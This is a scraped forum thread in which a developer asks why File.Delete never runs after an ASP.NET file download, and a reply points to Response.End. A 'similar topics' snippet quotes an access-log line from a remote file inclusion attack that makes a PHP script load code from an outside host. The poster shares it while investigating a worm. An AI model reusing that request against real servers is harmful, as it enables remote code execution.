473,654 Members | 3,082 Online
Bytes | Software Development & Data Engineering Community
+ Post

Home Posts Topics Members FAQ

Delete File after User download

Hi all,

How can I delete the file on the server after the user download it?

For example:

I have file name "123.txt" on a server, I copy it to "ABC.txt", then
allow uer download the "ABC.txt" file, then I try to delete file
"ABC.txt", but I can not do it. I can delete the ABC.txt before I copy
it.

here is my code:

File.Copy(_File Path_Name, fileOrgName)

'SAVE FILE ON THE CLIENT SIDE
Dim objStream As New ADODB.Stream
Response.Clear( )
filePath = Convert.ToStrin g(strFolder + _FileName)
objStream.Open( )
objStream.Type = ADODB.StreamTyp eEnum.adTypeBin ary
objStream.LoadF romFile(filePat h)
Response.AddHea der("Content-Disposition", "attachment ;
fileName = " & _FileName)
Response.Charse t = "UTF-8"
Response.Conten tType = "applicatio n/octet-stream"
Response.Binary Write(objStream .Read)
Response.Flush( )
Response.End()
objStream.Close ()

File.Delete(fil ePath) 'It never go here
Nov 20 '05 #1
2 2253
The reason it never gets there, is because you call Response.End. That
means objStream.Close never gets executed either.

"TOI DAY" <nt******@yahoo .com> wrote in message
news:e2******** *************** ***@posting.goo gle.com...
Hi all,

How can I delete the file on the server after the user download it?

For example:

I have file name "123.txt" on a server, I copy it to "ABC.txt", then
allow uer download the "ABC.txt" file, then I try to delete file
"ABC.txt", but I can not do it. I can delete the ABC.txt before I copy
it.

here is my code:

File.Copy(_File Path_Name, fileOrgName)

'SAVE FILE ON THE CLIENT SIDE
Dim objStream As New ADODB.Stream
Response.Clear( )
filePath = Convert.ToStrin g(strFolder + _FileName)
objStream.Open( )
objStream.Type = ADODB.StreamTyp eEnum.adTypeBin ary
objStream.LoadF romFile(filePat h)
Response.AddHea der("Content-Disposition", "attachment ;
fileName = " & _FileName)
Response.Charse t = "UTF-8"
Response.Conten tType = "applicatio n/octet-stream"
Response.Binary Write(objStream .Read)
Response.Flush( )
Response.End()
objStream.Close ()

File.Delete(fil ePath) 'It never go here

Nov 20 '05 #2


Do you know how I can get around it.

Thanks

*** Sent via Devdex http://www.devdex.com ***
Don't just participate in USENET...get rewarded for it!
Nov 20 '05 #3

This thread has been closed and replies have been disabled. Please start a new discussion.

Similar topics

2
6970
by: John Smith | last post by:
Hello all, I don't know c# that well and thus need urget help. I have a page that displays files from an access database that has a button to be delet file from database. I need a confirmation box to make sure the user wants to delet the file. Here is my code: private string GetFilesFromAccessDb() {
0
1939
by: karunakar | last post by:
Hi All I am not able to read the class name I want read the particular class name string path = System.Configuration.ConfigurationSettings.AppSettings; string className = path + ".User"; return (SCS.SR.IDAL.IUser) Assembly.Load(path).CreateInstance(className); ( This line iam getting Error)
2
5845
by: Shawn | last post by:
Hi. In my application I'm handling sensitive files. I copy them from a file server and onto the webserver, but I have to delete them again as soon as the user is finished with his download. Is that possible? Is there some way to detect when the download is finished? And if so I'm guessing that I can't use response.redirect ot server.transfer because then the delete code will never run... Any ideas? Thanks, Shawn
1
5376
by: Roy | last post by:
Hi, I have a problem that I have been working with for a while. I need to be able from server side (asp.net) to detect that the file i'm streaming down to the client is saved completely/succsessfully on the client's computer before updating some metadata on the server (file downloaded date for instance) However, All examples i have tried, and all examples I have found that other people says works - doesn't work for me :-(
2
1520
by: Mark | last post by:
Here is what I am hoping to accomplish: 1. Connect to FTP server - I can do this. 2. Download file contained in the directory that I connect to. 3. Delete file contained on the ftp server. 4. Repeat steps 2 and 3 until all files are out of there. Can anyone give me any direction on this? I know how to download a file if I know the name of it before starting but I don't know how to download a file and then delete that file from the...
4
10616
by: Ignoramus6539 | last post by:
There were some strange requests to my server asking for config.php file (which I do not have in the requested location). I did some investigation. Seems to be a virus written in perl, exploiting a vulnerability in php code. The requests are like this 216.120.231.252 - - "GET /algebra/about/history/config.php?returnpath=http://domates.1gig.biz/spread.txt? HTTP/1.1" 404 561 "-" "libwww-perl/5.805"
0
1569
by: ravirajdanasekaran | last post by:
I have written a web form which downloads files to the client automatically. After the download completes, I would like to delete the file that was downloaded. I can't tell how to wait until the download has completed to delete the file, if I run the File.Delete(filepath) command after Response.WriteFile(filepath), the file is deleted before it can be downloaded. Any suggestions?
2
14998
by: SCPOS | last post by:
Cannot delete X: It is being used by another person or program. Close any programs that might be using the file and try again. Of course I have tried closing any programs I know of that may be using the file (used X because the filename does not matter...it is a specific log file name to the application). I am logged onto a Windows Server 2003 computer that acts as a server for a LAN, but is physically joined to a domain. The local...
107
11296
by: bonneylake | last post by:
Hey Everyone, Well for the last few days i been trying to figure out how to delete attachments and download attachments to my computer. The deleting is sort of working and i don't know where to begin on downloading. Right now with the deleting it will delete from the attachments folder on the server but it does not delete from the database an was wondering if someone could explain what i am doing wrong on deleting attachments and how i could...
0
8285
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can effortlessly switch the default language on Windows 10 without reinstalling. I'll walk you through it. First, let's disable language synchronization. With a Microsoft account, language settings sync across devices. To prevent any complications,...
0
8814
Oralloy
by: Oralloy | last post by:
Hello folks, I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>". The problem is that using the GNU compilers, it seems that the internal comparison operator "<=>" tries to promote arguments from unsigned to signed. This is as boiled down as I can make it. Here is my compilation command: g++-12 -std=c++20 -Wnarrowing bit_field.cpp Here is the code in...
1
8475
by: Hystou | last post by:
Overview: Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows Update option using the Control Panel or Settings app; it automatically checks for updates and installs any it finds, whether you like it or not. For most users, this new feature is actually very convenient. If you want to control the update process,...
0
8591
tracyyun
by: tracyyun | last post by:
Dear forum friends, With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each protocol has its own unique characteristics and advantages, but as a user who is planning to build a smart home system, I am a bit confused by the choice of these technologies. I'm particularly interested in Zigbee because I've heard it does some...
1
6160
isladogs
by: isladogs | last post by:
The next Access Europe User Group meeting will be on Wednesday 1 May 2024 starting at 18:00 UK time (6PM UTC+1) and finishing by 19:30 (7.30PM). In this session, we are pleased to welcome a new presenter, Adolph Dupré who will be discussing some powerful techniques for using class modules. He will explain when you may want to use classes instead of User Defined Types (UDT). For example, to manage the data in unbound forms. Adolph will...
0
5621
by: conductexam | last post by:
I have .net C# application in which I am extracting data from word file and save it in database particularly. To store word all data as it is I am converting the whole word file firstly in HTML and then checking html paragraph one by one. At the time of converting from word file to html my equations which are in the word document file was convert into image. Globals.ThisAddIn.Application.ActiveDocument.Select();...
0
4149
by: TSSRALBI | last post by:
Hello I'm a network technician in training and I need your help. I am currently learning how to create and manage the different types of VPNs and I have a question about LAN-to-LAN VPNs. The last exercise I practiced was to create a LAN-to-LAN VPN between two Pfsense firewalls, by using IPSEC protocols. I succeeded, with both firewalls in the same network. But I'm wondering if it's possible to do the same thing, with 2 Pfsense firewalls...
1
2709
by: 6302768590 | last post by:
Hai team i want code for transfer the data from one system to another through IP address by using C# our system has to for every 5mins then we have to update the data what the data is updated we have to send another system
2
1592
bsmnconsultancy
by: bsmnconsultancy | last post by:
In today's digital era, a well-designed website is crucial for businesses looking to succeed. Whether you're a small business owner or a large corporation in Toronto, having a strong online presence can significantly impact your brand's success. BSMN Consultancy, a leader in Website Development in Toronto offers valuable insights into creating effective websites that not only look great but also perform exceptionally well. In this comprehensive...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.